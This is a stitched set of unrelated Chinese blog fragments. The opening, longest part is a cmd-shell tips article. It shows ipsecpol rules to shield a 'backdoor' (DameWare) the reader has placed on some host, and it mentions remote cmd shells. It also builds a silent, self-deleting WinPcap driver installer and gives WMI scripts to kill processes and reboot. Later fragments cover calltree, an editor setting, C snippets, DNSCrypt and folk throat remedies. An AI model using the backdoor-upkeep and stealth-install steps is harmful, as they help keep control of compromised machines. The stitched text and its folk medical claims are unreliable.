這條命令關(guān)閉了本地主機(jī)的TCP135,139,445和udp135,137,138,445端口。 具體含義如下: -p myfirewall 指定策略名為myfirewall -r rpc-dcom 指定規(guī)則名為rpc-dcom -f …… 建立7個(gè)篩選器。*表示任何地址(源);0表示本機(jī)地址(目標(biāo));+表示鏡像(雙向)篩選。詳細(xì)語(yǔ)法見(jiàn)ipsecpol -? -n BLOCK 指定篩選操作是“阻塞”。注意,BLOCK必須是大寫(xiě)。 -w reg 將配置寫(xiě)入注冊(cè)表,重啟后仍有效。 -x 立刻激活該策略。
2,防止被ping
ipsecpol -p myfirewall -r antiping -f *+0::icmp -n BLOCK -w reg -x
如果名為myfirewall的策略已存在,則antiping規(guī)則將添加至其中。 注意,該規(guī)則同時(shí)也阻止了該主機(jī)ping別人。
3,對(duì)后門(mén)進(jìn)行IP限制 假設(shè)你在某主機(jī)上安裝了DameWare Mini Remote Control。為了保護(hù)它不被別人暴破密碼或溢出,應(yīng)該限制對(duì)其服務(wù)端口6129的訪(fǎng)問(wèn)。
ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.89+0:6129:tcp -n PASS -w reg -x
這樣就只有123.45.67.89可以訪(fǎng)問(wèn)該主機(jī)的6129端口了。 如果你是動(dòng)態(tài)IP,應(yīng)該根據(jù)IP分配的范圍設(shè)置規(guī)則。比如:
ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.*+0:6129:tcp -n PASS -w reg -x
這樣就允許123.45.67.1至123.45.67.254的IP訪(fǎng)問(wèn)6129端口。
在寫(xiě)規(guī)則的時(shí)候,應(yīng)該特別小心,不要把自己也阻塞了。如果你不確定某個(gè)規(guī)則的效果是否和預(yù)想的一樣,可以先用計(jì)劃任務(wù)“留下后路”。例如:
c:\>net start schedule Task Scheduler 服務(wù)正在啟動(dòng) .. Task Scheduler 服務(wù)已經(jīng)啟動(dòng)成功。
c:\>time /t 12:34
c:\>at 12:39 ipsecpol -p myfw -y -w reg 新加了一項(xiàng)作業(yè),其作業(yè) ID = 1
然后,你有5分鐘時(shí)間設(shè)置一個(gè)myfw策略并測(cè)試它。5分鐘后計(jì)劃任務(wù)將停止該策略。 如果測(cè)試結(jié)果不理想,就刪除該策略。
c:\>ipsecpol -p myfw -o -w reg
注意,刪除策略前必須先確保它已停止。不停止它的話(huà),即使刪除也會(huì)在一段時(shí)間內(nèi)繼續(xù)生效。持續(xù)時(shí)間取決于策略的刷新時(shí)間,默認(rèn)是180分鐘。
如果測(cè)試通過(guò),那么就啟用它。
c:\>ipsecpol -p myfw -x -w reg
最后說(shuō)一下查看IPSec策略的辦法。 對(duì)于XP很簡(jiǎn)單,一條命令搞定——ipseccmd show filters 而ipsecpol沒(méi)有查詢(xún)的功能。需要再用一個(gè)命令行工具netdiag。它位于2000系統(tǒng)安裝盤(pán)的SUPPORT\TOOLS\SUPPORT.CAB中。(已經(jīng)上傳了三個(gè)文件,也就不在乎多一個(gè)了。^_^)
netdiag需要RemoteRegistry服務(wù)的支持。所以先啟動(dòng)該服務(wù):
net start remoteregistry
不啟動(dòng)RemoteRegistry就會(huì)得到一個(gè)錯(cuò)誤:
[FATAL] Failed to get system information of this machine.
netdiag這個(gè)工具功能十分強(qiáng)大,與網(wǎng)絡(luò)有關(guān)的信息都可以獲取!不過(guò),輸出的信息有時(shí)過(guò)于詳細(xì),超過(guò)命令行控制臺(tái)cmd.exe的輸出緩存,而不是每個(gè)遠(yuǎn)程cmd shell都可以用more命令來(lái)分頁(yè)的。
查看ipsec策略的命令是: netdiag /debug /test:ipsec
然后是一長(zhǎng)串輸出信息。IPSec策略位于最后。
軟件安裝 一個(gè)軟件/工具的安裝過(guò)程,一般來(lái)說(shuō)只是做兩件事:拷貝文件到特定目錄和修改注冊(cè)表。只要搞清楚具體的內(nèi)容,那么就可以自己在命令行下實(shí)現(xiàn)了。(不考慮安裝后需要注冊(cè)激活等情況)
WinPcap是個(gè)很常用的工具,但必須在窗口界面下安裝。在網(wǎng)上也可以找到不用GUI的版本(但還是有版權(quán)頁(yè)),其實(shí)我們完全可以自己做一個(gè)。
以WinPcap 3.0a 為例。通過(guò)比較安裝前后的文件系統(tǒng)和注冊(cè)表快照,很容易了解整個(gè)安裝過(guò)程。 除去反安裝的部分,關(guān)鍵的文件有三個(gè):wpcap.dll,packet.dll和npf.sys。前面兩個(gè)文件位于system32目錄下,第三個(gè)在system32\drivers下。而注冊(cè)表的變化是增加了一個(gè)系統(tǒng)服務(wù)NPF。注意,是系統(tǒng)服務(wù)(即驅(qū)動(dòng))不是Win32服務(wù)。
作為系統(tǒng)服務(wù),不但要在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services下增加主鍵,在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root下也增加主鍵。而后者默認(rèn)只有SYSTEM身份才可以修改。幸運(yùn)的是,并不需要手動(dòng)添加它,winpcap被調(diào)用時(shí)會(huì)自動(dòng)搞定。甚至完全不用手動(dòng)修改注冊(cè)表,所有的事winpcap都會(huì)自己完成,只需要將三個(gè)文件復(fù)制到合適的位置就行了。
作為范例,還是演示一下如何修改注冊(cè)表:利用前面說(shuō)過(guò)的inf文件來(lái)實(shí)現(xiàn)。
[Version] Signature="$WINDOWS NT$" [DefaultInstall.Services] AddService=NPF,,winpcap_svr [winpcap_svr] DisplayName=Netgroup Packet Filter ServiceType=0x1 StartType=3 ErrorControl=1 ServiceBinary=%12%\npf.sys
將上面這些內(nèi)容保存為_(kāi)wpcap_.inf文件。 再寫(xiě)一個(gè)批處理_wpcap_.bat:
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %CD%\_wpcap_.inf del _wpcap_.inf if /i %CD%==%SYSTEMROOT%\system32 goto COPYDRV copy packet.dll %SYSTEMROOT%\system32\ copy wpcap.dll %SYSTEMROOT%\system32\ del packet.dll del wpcap.dll :COPYDRV if /i %CD%==%SYSTEMROOT%\system32\drivers goto END copy npf.sys %SYSTEMROOT%\system32\drivers\ del npf.sys :END del %0
然后用winrar將所有文件(5個(gè))打包為自解壓的exe,并將『高級(jí)自解壓選項(xiàng)』->『解壓后運(yùn)行』設(shè)置為_(kāi)wpcap_.bat,命令行的winpcap安裝包就制作完成了。
注意,批處理最后一行沒(méi)有回車(chē)符。否則會(huì)因?yàn)檎谶\(yùn)行而無(wú)法刪除自己。
所有的軟件安裝,基本上可以套用這個(gè)思路。但也有例外的,那就是系統(tǒng)補(bǔ)丁的安裝。 由于系統(tǒng)補(bǔ)丁有可能要替換正在被執(zhí)行或訪(fǎng)問(wèn)的文件,所以用copy命令是不行的。 幸好,Windows補(bǔ)丁包支持命令行安裝。 比如:
KB824146.exe -n -z -q
-n 不保留備份 -z 不重起 -q 安靜模式
如果有一堆補(bǔ)丁要打,那么用RAR打包成自解壓文件,外加一個(gè)批處理。
for %%f in (KB??????.exe) do %%f -n -z -q for %%f in (KB??????.exe) do del %%f del %0
Windows腳本 很多事用腳本來(lái)做是很簡(jiǎn)潔的。下面給出幾個(gè)常用腳本的echo版。
1,顯示系統(tǒng)版本
@echo for each ps in getobject _ >ps.vbs @echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>ps.vbs @echo wscript.echo ps.caption^&" "^&ps.version:next >>ps.vbs cscript //nologo ps.vbs & del ps.vbs
2,列舉進(jìn)程
@echo for each ps in getobject _ >ps.vbs @echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs @echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs cscript //nologo ps.vbs & del ps.vbs
3,終止進(jìn)程
@echo for each ps in getobject _ >pk.vbs @echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pk.vbs @echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pk.vbs
要終止PID為123的進(jìn)程,使用如下語(yǔ)法: cscript pk.vbs 123
如果顯示一個(gè)0,表示終止成功。
然后: del pk.vbs
4,重啟系統(tǒng)
@echo for each os in getobject _ >rb.vbs @echo ("winmgmts:{(shutdown)}!\\.\root\cimv2:win32_operatingsystem").instances_ >>rb.vbs @echo os.win32shutdown(2):next >>rb.vbs & cscript //nologo rb.vbs & del rb.vbs
5,列舉自啟動(dòng)的服務(wù)
@echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_ >sc.vbs @echo if sc.startmode="Auto" then wscript.echo sc.name^&" - "^&sc.pathname >>sc.vbs @echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs
6,列舉正在運(yùn)行的服務(wù)
@echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_ >sc.vbs @echo if sc.state="Running" then wscript.echo sc.name^&" - "^&sc.pathname >>sc.vbs @echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs
7,顯示系統(tǒng)最后一次啟動(dòng)的時(shí)間
@echo for each os in getobject _ >bt.vbs @echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>bt.vbs @echo wscript.echo os.lastbootuptime:next >>bt.vbs & cscript //nologo bt.vbs & del bt.vbs
顯示結(jié)果的格式是: yyyymmddHHMMSSxxxxxxZZZZ _年_月日時(shí)分秒_微秒_時(shí)區(qū)
8,顯示系統(tǒng)運(yùn)行時(shí)間
@echo for each os in getobject _ >rt.vbs @echo ("winmgmts:\\.\root\cimv2:win32_perfrawdata_perfos_system").instances_ >>rt.vbs @echo s=os.timestamp_sys100ns:l=len(s):s=left(s,l-7):for i=1 to l-7 >>rt.vbs @echo t=t^&mid(s,i,1):d=t\86400:r=r^&d:t=t mod 86400:next >>rt.vbs @echo wscript.echo cint(r)^&"d "^&t\3600^&"h "^&t\60 mod 60^&"m "^&t mod 60^&"s":next >>rt.vbs cscript //nologo rt.vbs & del rt.vbs
這個(gè)運(yùn)行時(shí)間是從性能計(jì)數(shù)器中獲得的64位整型數(shù),不會(huì)出現(xiàn)在49.7天后溢出的情況。
附言 cmd shell博大精深,本文掛一漏萬(wàn)講了一些常用技巧,希望對(duì)各位有所幫助。
也許你早知道了這些方法,也許你有更好的方法,希望你能寫(xiě)出來(lái)和大家分享。
最后,感謝你耐心看完本文。本人水平有限,錯(cuò)誤之處懇請(qǐng)指正。
平時(shí)用vim+cscope+ctags看程序還不錯(cuò),但跳來(lái)跳去還是不太直觀(guān),如果能將C代碼的調(diào)用生成調(diào)用樹(shù)就再好不過(guò)了,果然,偶找到了一款不錯(cuò)的工具calltree,有了這個(gè)工具,可以說(shuō)宏觀(guān)微宏一起把握了,
先看一下用它生成的函數(shù)調(diào)用圖:
源碼是nbtscan小工具的代碼.
ljt@debian:~/source/nbtscan-1.5.1$ calltree -gb -np -m *.c
main [nbtscan.c:289]: | FD_ISSET | FD_SET | FD_ZERO | atoi | bind | bzero | d_print_hostinfo [nbtscan.c:93] | | inet_ntoa | | printf | | strncpy | delete_list [list.c:29] | | free | err_die | err_print | exit | feof | fgets | fopen | fprintf | free | getopt | gettimeofday | htons | in_list [list.c:101] | | compare [list.c:47] | | new_list_item [list.c:17] | | | err_die | | | malloc | inet_aton | inet_ntoa | insert [list.c:55] | | compare [list.c:47] | | free | | new_list_item [list.c:17] | | | err_die | | | malloc | l_print_hostinfo [nbtscan.c:260] | | inet_ntoa | | printf | | strncpy | malloc | new_list [list.c:8] | | err_die | | malloc | next_address [range.c:72] | | htonl | | ntohl | ntohl | parse_response [statusq.c:147] | | bzero | | get16 [statusq.c:137] | | | memcpy | | | ntohs | | get32 [statusq.c:127] | | | memcpy | | | ntohl | | malloc | | memcpy | | strncpy | | typeof | print_banner [nbtscan.c:26] | | printf | print_header [nbtscan.c:87] | | printf | print_hostinfo [nbtscan.c:207] | | inet_ntoa | | printf | | strncpy | printf | recvfrom | select | send_query [statusq.c:93] | | bzero | | err_print | | gettimeofday | | htons | | inet_ntoa | | name_mangle [statusq.c:40] | | | HAVE_SNPRINTF | | | memset | | | snprintf | | | sprintf | | | strcmp | | | strlen | | | toupper | | sendto | | snprintf | set_range [nbtscan.c:80] | | is_ip [range.c:21] | | | inet_addr | | | ntohl | | is_range1 [range.c:36] | | | abs | | | atoi | | | err_die | | | free | | | inet_addr | | | malloc | | | ntohl | | | strchr | | | strcpy | | | strlen | | is_range2 [range.c:91] | | | atoi | | | err_die | | | free | | | inet_addr | | | malloc | | | ntohl | | | strchr | | | strcpy | | | strlen | sleep | snprintf | socket | strcmp | strdup | timerclear | timercmp | timersub | usage [nbtscan.c:32] | | exit | | printf | v_print_hostinfo [nbtscan.c:156] | | getnbservicename [statusq.c:370] | | | err_die | | | malloc | | | snprintf | | | strstr | | inet_ntoa | | printf | | strncpy
還不錯(cuò)哦,能很直觀(guān)地顯示程序的架構(gòu)
下面介紹一下各選項(xiàng): ljt@debian:~/source/nbtscan-1.5.1$ calltree -gb -np -m *.c
-b 就是那個(gè)豎線(xiàn)了,很直觀(guān)地顯示縮進(jìn)層次。 -g 打印內(nèi)部函數(shù)的所屬文件名及行號(hào),外部函數(shù)所屬文件名和行號(hào)也是可打印的,詳man
-np 不要調(diào)用c預(yù)處理器,這樣打印出的界面不會(huì)很雜亂,但也可能會(huì)產(chǎn)生錯(cuò)誤哦,如果我們只看 函數(shù)的調(diào)用關(guān)系的話(huà),不會(huì)有大問(wèn)題。 -m 告訴程序從main開(kāi)始
還有一個(gè)重要的選項(xiàng)是 listfunction ,縮寫(xiě)是lf,用來(lái)只打印某個(gè)函數(shù)中的調(diào)用,用法是: $calltree -gb -np lf=send_query *.c
send_query [statusq.c:93]: | bzero | err_print | gettimeofday | htons | inet_ntoa | name_mangle [statusq.c:40] | | HAVE_SNPRINTF | | memset | | snprintf | | sprintf | | strcmp | | strlen | | toupper | sendto | snprintf
還有幾個(gè)不太常用的就不介紹了,細(xì)節(jié)大家還是看man吧,另外說(shuō)明一點(diǎn)的是,安裝的時(shí)候它默認(rèn)是安裝到"/opt/schily/"目錄下,下面有bin, man, include等幾個(gè)目錄,你可以設(shè)置環(huán)境變量,或者干脆把它拷貝到/usr里相應(yīng)的目錄下,或者修改Makefile啦
下載地址:
ftp://ftp.berlios.de/pub/calltree/calltree-2.3.tar.bz2
calls似乎是一個(gè)挺老的小工具,用的人也不多。用途就是打印函數(shù)的調(diào)用關(guān)系。 地址:ftp://sunsite.unc.edu/pub/Linux/devel/lang/c/calls.tar.Z 下載解壓后得到的那個(gè)可執(zhí)行文件居然不能運(yùn)行。 -bash: ./calls: cannot execute binary file 重新編譯居然報(bào)錯(cuò)。還需要修改main.c文件 原來(lái)是: extern char *sys_errlist[]; 改為: extern __const char *__const sys_errlist[]; 再編譯,OK了。
名叫 calls 的文件移動(dòng)到 /usr/bin 目錄. 把名叫 calls.1 的文件移動(dòng)到目錄 /usr/share/man/man1/ OK,可以用了。
|
E貌似有自己的shell,可以通過(guò)Build窗口訪(fǎng)問(wèn),是一個(gè)很方便的功能,在工程中點(diǎn)擊Compile或是Build,編譯的輸出信息都會(huì)顯示在Build窗口中,如果編譯出現(xiàn)錯(cuò)誤,雙擊Error或是Warning就可以在源文件中定位,是一個(gè)十分方便的功能,不過(guò)我一直被亂碼所困擾,原因大概是shell默認(rèn)是用的語(yǔ)言是zh_CN-UTF8,和SE的默認(rèn)編碼方式不同,所以我們需要在SE初始化的時(shí)候修改環(huán)境變量,方法如下:
- gedit ~/.slickedit/14.0.2/vslick.ini
- 添加以下內(nèi)容:
[Enviroment] LANG = en_US.UTF-8 - Ctrl + S
- 重啟SE
我們還可以在這里添加其它環(huán)境變量,SE下Ctrl + Space切換輸入法的設(shè)置貌似也可以在這設(shè)置,不過(guò)還沒(méi)成功過(guò)。
1 PCHAR 2 GetFormattedTime( 3 BOOL bDateToo 4 ) 5 { 6 static char szTime[64]; 7 int cch = 0; 8 9 if (bDateToo) { 10 11 cch = 12 GetDateFormat( 13 LOCALE_USER_DEFAULT, 14 0, 15 NULL, // current date 16 "ddd", // short day of week 17 szTime, 18 sizeof szTime 19 ); 20 21 // cch includes null terminator, change it to 22 // a space to separate from time. 23 24 szTime[ cch - 1 ] = ' '; 25 } 26 27 // 28 // Get time and format to characters 29 // 30 31 GetTimeFormat( 32 LOCALE_USER_DEFAULT, 33 TIME_NOSECONDS, 34 NULL, // use current time 35 NULL, // use default format 36 szTime + cch, 37 (sizeof szTime) - cch ); 38 39 return szTime; 40 } 41
DNSCrypt —— 一個(gè)加密DNS傳輸?shù)墓ぞ?/div>
2012-03-24 23:42
DNSCrypt是一個(gè)確保客戶(hù)與DNS服務(wù)器之間傳輸安全的工具,基于DNSCurve修改而來(lái)。
由于Domain Name System(DNS)設(shè)計(jì)上的缺陷,用戶(hù)在瀏覽器里輸入很多海外網(wǎng)址以后,如果遭遇MITM或者DNS污染,瀏覽器就可能接收到錯(cuò)誤的IP,而存在安全問(wèn)題。為了解決這樣的問(wèn)題,IETF在十幾年前便開(kāi)始制定DNS的安全擴(kuò)展(DNSSEC)。利用公開(kāi)密鑰加密技術(shù),通過(guò)對(duì)DNS數(shù)據(jù)進(jìn)行數(shù)字簽名,DNSSEC能夠驗(yàn)證DNS數(shù)據(jù)來(lái)源和驗(yàn)證在傳輸過(guò)程中DNS是否被篡改。
但是DNSSEC不保證DNS數(shù)據(jù)的機(jī)密性,DNS數(shù)據(jù)本身并沒(méi)有被加密,加之DNS的階層式模式,這便為一些機(jī)構(gòu)提供監(jiān)視,控制網(wǎng)絡(luò)的手段。典型的例子就是不能訪(fǎng)問(wèn)一些海外的網(wǎng)站。DNSSEC也不提供免于DOS(Deny of Service)攻擊的辦法,由于數(shù)字簽名和簽名驗(yàn)證需要額外的數(shù)據(jù)運(yùn)算,DNSSEC反而更容易受到DOS攻擊。DNSCurve相對(duì)于DNSSEC的好處是,DNSCurve使用了更有效率的橢圓曲線(xiàn)加密算法而可以負(fù)擔(dān)的起每條查詢(xún)都單獨(dú)加密,從而更加安全。
DNSCrypt協(xié)議是非常類(lèi)似DNSCurve的,作為一個(gè)DNS代理運(yùn)行,側(cè)重于客戶(hù)端和第一級(jí)DNS服務(wù)器之間的通信安全,能夠緩存DNS解析。DNSCrypt的上游DNS服務(wù)器是著名的OpenDNS服務(wù),簡(jiǎn)單而言DNSCrypt就是加密了本機(jī)到OpenDNS服務(wù)器之間的DNS查詢(xún)通信過(guò)程(使用橢圓曲線(xiàn)加密算法),所以可以不受GreatFireWall的DNS污染干擾。
首先下載對(duì)應(yīng)平臺(tái)的dnscrypt client然后運(yùn)行,接著修改本地或者router的dns server為127.0.0.1. 然后你的所有dns請(qǐng)求都會(huì)加密進(jìn)行從而繞過(guò)GreatFireWall的dns污染順利解析到正確IP,以下是Win7系統(tǒng)設(shè)置的圖示:(DNSCrypt可以在Windows/Linux/BSD/OSX/iOS系統(tǒng)上運(yùn)行)

更多詳情:https://github.com/opendns/dnscrypt-proxy/
下載地址:https://github.com/opendns/dnscrypt-proxy/downloads
使用后即可直接訪(fǎng)問(wèn)一些遭到DNS污染的網(wǎng)站,如果網(wǎng)站還支持https也可以訪(fǎng)問(wèn)其https網(wǎng)址,比如一些Google服務(wù)。 |
8、咽喉干腫
推薦:蜜梨膏
做法:取生梨,用榨汁機(jī)榨成梨汁,加入適量蜂蜜,以文火熬制成膏。每日一匙,能清熱去火、生津潤(rùn)喉。
點(diǎn)評(píng):蜂蜜甘平,入肺脾大腸經(jīng),能潤(rùn)腸通便,補(bǔ)肺潤(rùn)喉,又能解毒。梨甘微酸涼,入肺脾經(jīng),能治口渴咳嗽便秘。所以二者放在一起熬膏可以起到潤(rùn)喉的作用。新鮮綠葉蔬菜、黃瓜、橙子、綠茶、梨、胡蘿卜也有很好的清火作用。
2、咽喉腫痛
常吃生梨能防治口舌生瘡和咽喉腫痛;用醋加同量的水漱口,可減輕痛苦;嫩絲瓜搗爛擠汁,頻頻含漱;咽喉疼痛時(shí),可用一匙醬油漱口,漱1分鐘左右吐出,連續(xù)3-4次,有療效
#include "stdafx.h" #include <STRING.h> #include <STDIO.H> int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { // TODO: Place code here. char *pCmdLine = GetCommandLine(); char sep[] = " "; char *token = NULL; char argv[10][10] = {0}; int argc = 0; token = strtok(pCmdLine,sep); while (token != NULL) { strcpy(argv[argc++],token); OutputDebugString(token); token = strtok(NULL,sep); } return 0; }
WinMain支持命令行參數(shù)的代碼
#include <windows.h> #include <stdio.h>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE prevInstance, LPSTR lpCmdLine, int nShowCmd) { //for the command line; int argc = 0; LPWSTR *lpszArgv = NULL;
LPWSTR szCmdLine =(LPWSTR)::GetCommandLineW(); //獲取命令行參數(shù); lpszArgv = ::CommandLineToArgvW((const unsigned short *)szCmdLine, &argc); //拆分命令行參數(shù)字符串;
if (lpszArgv == NULL) { MessageBox(NULL, "Unable to parse command line", "Error", MB_OK); return 10; } for(int i = 0; i < argc; i++)
{ char str[MAX_PATH]; memset(str,0,MAX_PATH); //將LPWSTR轉(zhuǎn)換為char *: WideCharToMultiByte(CP_ACP, WC_COMPOSITECHECK,lpszArgv[i], -1,str,200,NULL,NULL); MessageBox(NULL,str, "Arglist contents", MB_OK); } LocalFree(lpszArgv); return 0; }
一個(gè)簡(jiǎn)單的 方法用stdlib.h中的__argc,__argv
#include <windows.h> #include <stdlib.h>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE prevInstance, LPSTR lpCmdLine, int nShowCmd) { //for the command line; for(int i = 0; i <__argc; i++)
{ char str[MAX_PATH]; char * str1; memset(str,0,MAX_PATH); //下面是獲取命令行參數(shù)值的典型用法: lstrcpy(str,__argv[i]); str1=strdup(__argv[i]); //MessageBox(NULL,str, "Arglist contents", MB_OK); MessageBox(NULL,str1, "Arglist contents", MB_OK); } return 0; }
|